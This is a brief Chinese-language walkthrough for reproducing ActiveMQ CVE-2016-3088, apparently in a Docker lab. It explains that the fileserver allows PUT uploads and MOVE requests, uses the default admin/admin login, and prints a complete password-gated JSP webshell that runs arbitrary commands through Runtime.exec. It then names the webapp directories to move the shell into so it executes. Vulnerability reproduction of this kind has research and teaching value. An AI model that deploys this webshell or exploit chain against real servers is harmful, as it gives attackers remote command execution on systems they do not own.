ActiveMQ CVE-2016-3088 任意文件写入漏洞
#漏洞原理
fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要PUT写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。
#复现步骤
1 | docker ps //查看端口 |
- 页面登陆ip:8800端口
- 登陆账号 admin/admin
- 进入fileserver页面 抓包
shell脚本
1
2
3
4
5
6
7
8
9
10
11
12<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%> - shell成功上传
移动文件到可以解析jsp文件的路径:1
21./opt/activemq/webapps/api
2./opt/activemq/webapps/admin - 访问webshell